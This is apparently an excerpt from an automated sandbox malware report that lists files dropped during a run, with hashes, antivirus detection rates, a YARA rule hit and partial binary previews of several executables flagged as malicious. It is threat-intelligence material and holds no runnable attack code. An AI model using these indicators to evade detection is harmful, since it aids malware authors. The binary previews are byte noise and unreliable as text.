File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8138648214423995
Encrypted:	false
SSDEEP:	96:EMFoXBw0L4UB8OQoJ7R3V6tpXIQcQec6tycEfcw3W+HbHg/8BRTf3o8Fa9iVfOy4:NiXB4UF8HQ0lrjIq/u7sOS274ItL
MD5:	35C09D408A6C338FC99B4D619F09234D
SHA1:	B557CC04365F06A74899D2F89A372B92FBB1385F
SHA-256:	CBE31A4DBB4EE6246323C74A4D8636EB77A11BF8A6BFE3842D16AF7B39046AC6
SHA-512:	23E8BB9EC9DB20EDB7C3F061B36208031697495FA4F1FA1164E464EB6011EC43ADD2BDDF616182DE93E436D977E4F0ADCD8ABC7DA6A297C10E57133DFF7A5CB7
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.6.2.1.6.3.4.4.6.0.5.1.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.6.6.6.2.1.7.2.6.0.2.2.6.4.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.6.7.7.6.f.3.1.-.3.9.c.1.-.4.4.4.8.-.a.6.5.d.-.1.5.b.c.e.0.d.7.7.d.d.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.2.7.9.5.a.6.1.-.b.2.1.1.-.4.7.d.a.-.8.1.1.a.-.f.b.9.d.d.9.f.7.2.2.b.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.B.B.8.A...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.a.0.-.0.0.0.1.-.0.0.1.b.-.1.f.6.e.-.b.b.0.2.7.d.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.e.8.8.d.1.e.9.a.d.e.e.6.3.e.f.3.0.e.9.c.4.2.3.1.7.4.c.7.6.e.c.0.0.0.0.2.9.0.1.!.0.0.0.0.5.9.9.5.a.e.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.f.1.f.b.7.6.!.B.B.8.A...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6175.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	52702
Entropy (8bit):	3.051899513483229
Encrypted:	false
SSDEEP:	1536:DMHZ0DVisN/xdUMvGpto675v1yc+Jqh//W:DMHZ0DVisN/xdUMvGpto675v1yc+Jy/u
MD5:	2DEB23693D4D6D1F0B30650211014B40
SHA1:	72E6E6CE2182B1A1C1AF4A0A3CEB2DF043DD8191
SHA-256:	A481D7F7B26B38CCF3929C4927AD03DA25B187C1C7DE77B62CB298A78A11E31E
SHA-512:	B0FB53ECD8DD88A06B32E2FBFE112E4CC7FB15595C30F2D59A9E5B7A7F2F35755B82C5DDBB7CD9C7AF227E80D44149B15251CAD6E1DCB42FFB9D172FE2CB5B85
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER65FA.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6957049550715424
Encrypted:	false
SSDEEP:	96:9GiZYWEcslyQrYLYQFW0HlYEZAut6izqFXew3OnLMia+U0/q2uIC03:9jZDExs4FeLba+U0/q25C03
MD5:	07F06FDC5DEA39B6918FC620424D43B0
SHA1:	AFA91D954F8DB12AEC97F6FF59F6746442D2A7E8
SHA-256:	EC9A9FD75480B2FACDDAB5125C6E85115E1BF11E991AFD983FBE00112B774021
SHA-512:	2D1100B7E3CF54785103B166187A243D718A93467C1909D8D20BD59450D637ACE16A1F913A100557775AC318D3D9CA6B984A44862902AD6346DABB9640CFC449
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAE40.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jan 14 19:29:24 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	36708
Entropy (8bit):	2.1273152419502526
Encrypted:	false
SSDEEP:	192:+tJjOn9V/XOeh0kIKTZv5A6KX58TGX9VcNuCuTX4J+EnD3:EebZvyJufJhD3
MD5:	B8C8DEEC4450644C4227E014A2F987EF
SHA1:	66326B9DCCAEC52DBF078174D55669422F63F8F4
SHA-256:	7961AB36D2264DDD76223C005CF57840E173C220670F6850DAD3CD4D2F6041D8
SHA-512:	51098772159BCEFF9B35993AC7E7AA43B751DE986CEBBF61CBD80C5271827DF9ACDD78CCB06BE89F1B2000C630EA3B69EB1771BE8DC72D3BD0520BD6DAAD31DE
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... ..........a....................................$...z%..........T.......8...........T................z..........H...........4....................................................................U...........B..............GenuineIntelW...........T..............a.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB4E9.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8392
Entropy (8bit):	3.702812242647528
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiZq6q6YrRSUdNgmfGRSV+pDD89bw9sfNQm:RrlsNik6q6Y9SUHgmfGRS9w2fv
MD5:	C3E4A8A325B469EFC2F80337215A25E0
SHA1:	7D9597D4BA2C8F1AA5F9698D9AC14E33276F309A
SHA-256:	323F3D032F6993091B78A9A6710F627860E006AB94D4C6CBDD1E633309E27221
SHA-512:	56310025638F81BEA8509B8B3EA414E79F18F3EC41E9C026B941A463A59AB0C025876B1F4412371DD75922931C4EF1B8C4793EF4D51FE04E70A7946606C0EEF6
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.8.1.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB9CC.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.477856827118253
Encrypted:	false
SSDEEP:	48:cvIwSD8zsLJgtWI9BtWSC8Bu8fm8M4Jd8qF0qv+q8vx8SbTFHOed:uITfl+cSN9JHvK3bhHOed
MD5:	F002D88880F6E1E2E1F1BDE33239C82B
SHA1:	5AA9856DE403B3B4FCE7154CD49B26FF9BE665FB
SHA-256:	78885C4292C966EED96C82261A11912DBD801F44BA2283A7BE01E016751A5452
SHA-512:	A64ADF5872BA2DBA40F80F1498000F96F2D310A9A582C84B1F3D01F1311372B69309BAAF0583111AE35880569203172D79EABFD4448C5AA253303084BC0FC4B5
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1342360" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3D34.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\3D34.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Temp\3D34.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537088
Entropy (8bit):	5.840438491186833
Encrypted:	false
SSDEEP:	12288:SV2DJxKmQESnLJYydpKDDCrqXSIXcZD0sgbxRo:nK1vVYcZyXSY
MD5:	D7DF01D8158BFADDC8BA48390E52F355
SHA1:	7B885368AA9459CE6E88D70F48C2225352FAB6EF
SHA-256:	4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E
SHA-512:	63F1C903FB868E25CE49D070F02345E1884F06EDEC20C9F8A47158ECB70B9E93AAD47C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 89%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?y...............0.............I... ...`....@.. ....................................@.................................`I..K....`............................................................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@....reloc...............0..............@..B.................I......H............?..........hX..}............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(.....~(....(^...8....(.........8........................................0..............0...................................(......0.....................0..............(....z.A.........z.A............................................*.......

C:\Users\user\AppData\Local\Temp\6C37.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	557664
Entropy (8bit):	7.687250283474463
Encrypted:	false
SSDEEP:	12288:fWxcQhhhhhn8bieAtJlllLtrHWnjkQrK8iBHZkshvesxViA9Og+:fWZhhhhhUATlLtrUbK8oZphveoMA9
MD5:	6ADB5470086099B9169109333FADAB86
SHA1:	87EB7A01E9E54E0A308F8D5EDFD3AF6EBA4DC619
SHA-256:	B4298F77E454BD5F0BD58913F95CE2D2AF8653F3253E22D944B20758BBC944B4
SHA-512:	D050466BE53C33DAAF1E30CD50D7205F50C1ACA7BA13160B565CF79E1466A85F307FE1EC05DD09F59407FCB74E3375E8EE706ACDA6906E52DE6F2DD5FA3EDDCD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L....5...............0..$...*........... ...`....@..........................0.......@....@..................................p..........P)...........................................................................................................idata...`.............................`.pdata.......p......................@....rsrc...P)......0...................@..@.didata..........x..................@.....................................................................................................................................................................................................................................................................................................................g..L.r9..v9.<iP.hL[Kc...",..

C:\Users\user\AppData\Local\Temp\888A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7336385
Entropy (8bit):	7.993036026488077
Encrypted:	true
SSDEEP:	196608:l++hvICteEroXxqENE+sKsXXgvkwuUxNhMC/CKN7kL:BInEroXjsKkXgs/EhWKNY
MD5:	AE6510D9815C44A818F722ECAE6844B8
SHA1:	2A34B5110F5C3C2424AE9685F57261E2546BD963
SHA-256:	C3CAD582268B165711E2F2B1834891C7BCB5E57A7EFB1E709E3DF19D011AD656
SHA-512:	8CAA9E661403D5D86F69E7C35E45CDF927EF9EC0C6045ED2CA5AF2EAAF26B4F99291EADAF2F0C8C00A31B05B228C6DF0C4BD205A7B3EC70E263313A08FFEF4F8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'X.8c9.kc9.kc9.kwR.jh9.kwR.jd9.kwR.j.9.k.V#kg9.k1L.jE9.k1L.jr9.k1L.jj9.kwR.jh9.kc9.k.9.k.L.jp9.k.L.jb9.kRichc9.k................PE..d.....a.........."......6...T................@....................................%.p...`..................................................[..x...............................H... 9..............................@9..8............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data........p.......T..............@....pdata...............`..............@..@_RDATA...............~..............@..@.rsrc...............................@..@.reloc..H...........................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9889.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3590144
Entropy (8bit):	7.997643531968
Encrypted:	true
SSDEEP:	49152:3+N1VszZfKeEM30gwJHRUy0hsgpJx7SbEmW/DNYwtinYQYwDvvEipRiGqmkNajh1:381EKrHVRA2A/+NWxYZYYDvvNji7o
MD5:	DA5C869D0ADE431230679390B5D183BF
SHA1:	A0A3EC54CDC7762F78BF1DD2C5594F9A6AF2CBC3
SHA-256:	98CE1395284401CDB5EBF5BDBCB02DDE9C404BEB668B7FF985794AE0408A5805
SHA-512:	47EA2FF52B50F1E4CB27957451D6C50F2D90B861A4BAF9A96718749368D76491CF9B1D39AA23E059A2A589DC48BD1EF0C529AE201EAD635806CA89A276C82087
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@..........................pS.....#87.....................................\|.N. .....M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@................P......................@.............1..`......................@....rsrc.........M.......0.............@....kujN2o2......N.......2.............@....adata.......`S.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A332.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A4DE.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	5.021094695416705
Encrypted:	false
SSDEEP:	384:1P27QR0ir3uqVQ1Tf+1rkZlgEdLcHIH+2f9sFIILCbj4KQWylH28iYfx:1PYQR0i4krj58LIL0zy2
MD5:	9DA91D9E3AD909FB8EBA4D3D74344982
SHA1:	D5B6872D062043478CBA1002A815A013952D3837
SHA-256:	0417281135837E3CCC11F35B2D17A6A3672B011E85C18884F54F6FEABA7B8069
SHA-512:	29D672F0BB8AEE885F008F7B7EBED499E7C5D8738B9373BF169896BE85C271FAAB5BD9792C176C7CDCB1C39606F07041E1E54E8F893D1D91F49509DF927AA8A0
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\A4DE.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 35%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...!................0..J..........rh... ........@.. ...............................1....@................................. h..O...................................Tg..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............N..............@..B................Th......H........C..."...........e..p...........................................^..}.....(.......(.........0...............(...%.-...(.....s......s....... ....o...... ....o.....(....r...po......... ....s..........o.....[o....o.........o ....[o....o!......o"......o#....s$............io%......o&.........,...o'......o(........,..o'.........,..o'........+.....(................"......................0............o).....(.....s+....+..*...0...........s,.... ....(-.....(........r%..po/.

C:\Users\user\AppData\Local\Temp\BB8A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	301056
Entropy (8bit):	5.192330972647351
Encrypted:	false
SSDEEP:	3072:4/ls8LAAkcooHqeUolNx8IA0ZU3D80T840yWrxpzbgqruJnfed:Ils8LA/oHbbLAGOfT8auzbgwuJG
MD5:	277680BD3182EB0940BC356FF4712BEF
SHA1:	5995AE9D0247036CC6D3EA741E7504C913F1FB76
SHA-256:	F9F0AAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570
SHA-512:	0B777D45C50EAE00AD050D3B2A78FA60EB78FE837696A6562007ED628719784655BA13EDCBBEE953F7EEFADE49599EE6D3D23E1C585114D7AECDDDA9AD1D0ECB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2t..v.i.v.i.v.i.hG..i.i.hG....i.hG..[.i.Q...q.i.v.h...i.hG..w.i.hG..w.i.hG..w.i.Richv.i.........PE..L.....b_.............................-.......0....@.......................... ...............................................e..P....................................2.............................. Y..@............0...............................text............................... ..`.rdata..D?...0...@..."..............@..@.data...X....p...$...b..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CADF.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7336391
Entropy (8bit):	7.993025428513385
Encrypted:	true
SSDEEP:	196608:76+hvICteEroXxqENE+sKsXXgvkz+AlnhMCRKsAN2aL:DInEroXjsKkXgsCMhkrNF
MD5:	CBE604877A46CEEBA112802BC17FFEF8
SHA1:	E85AB4CCBE491348C39F751162FFF71A90643ECA
SHA-256:	32703A3D88B3E9B8FE1A64FD1CBCC0925FC2C74BCBDEFBBD6944CBFAD0029FEC
SHA-512:	86F3946B813FB457D95B6635FA308DA1BF5F2C0FBD5BDCA75F7776D1A01A2D3C67A8A9E268DCC145FF575D70FBE84BE9BEB112A0D2269B955795C74468C00598
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'X.8c9.kc9.kc9.kwR.jh9.kwR.jd9.kwR.j.9.k.V#kg9.k1L.jE9.k1L.jr9.k1L.jj9.kwR.jh9.kc9.k.9.k.L.jp9.k.L.jb9.kRichc9.k................PE..d...Q..a.........."......6...T................@......................................p...`..................................................[..x...............................H... 9..............................@9..8............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data........p.......T..............@....pdata...............`..............@..@_RDATA...............~..............@..@.rsrc...............................@..@.reloc..H...........................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CCB2.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	324608
Entropy (8bit):	6.705560699768563
Encrypted:	false
SSDEEP:	6144:8cXfhxLWOCPRZa9XQ9XuxYADj5QTM44lq46Ue:8cXfhxKPZyK+x3NQN4l3Je
MD5:	043B44289E31BD54357F9A5C21833259
SHA1:	C042C1D364887BBF71B070C8DD6C66C08A818834
SHA-256:	8DC59F6481C6FE183ADAC2B720FFA276CC9F52D83521200B1A85BB5FF8E4046A
SHA-512:	AC7098ED6CC6922577D0C87F4E3BA6EF32973C1641C98B3C675EFBBC548A63346DE87A0026ADB850144B120604BB7B9982A69E1AA2859D0E0A3A0CCE08573756
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.9.)~W.)~W.)~W.7,..3~W.7,..~W...,..~W.)~V..~W.7,...~W.7,..(~W.7,..(~W.Rich)~W.........PE..L...o.}`............................P.............@.................................[.......................................t...P.......(...............................................................@...............L............................text............................... ..`.data...............................@....zic................................@....wuvuhus............................@....jufot..............................@....rsrc...(............$..............@..@.reloc..dF.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D502.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	4.125149292696976
Encrypted:	false
SSDEEP:	192:s7yxMfjf6NrLqKZ6mXS9LzL1pvULIRPqY2F3991ZuBhyY8PGCz9QwAOSZCGQyBbf:KyufjSLq86mXS9LzLdqY2LHZ4cZA
MD5:	1B1E4286625BB189A526E910F2031C7B
SHA1:	650C0550F12C65D9841D10AB589FF39261018957
SHA-256:	C9D7CB68DEC80469C3C03B0E90C7AF1972462CA7779424DB3BFD9D44AEBAA624
SHA-512:	68F2366606B658FDDB2B5E9BAE2E6931FB455A230F8A4813EACB38A3D7853B9640F46FE9EE6FFD9862A509558B66C30A3494CB7231C3EF7CD784950771273155
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
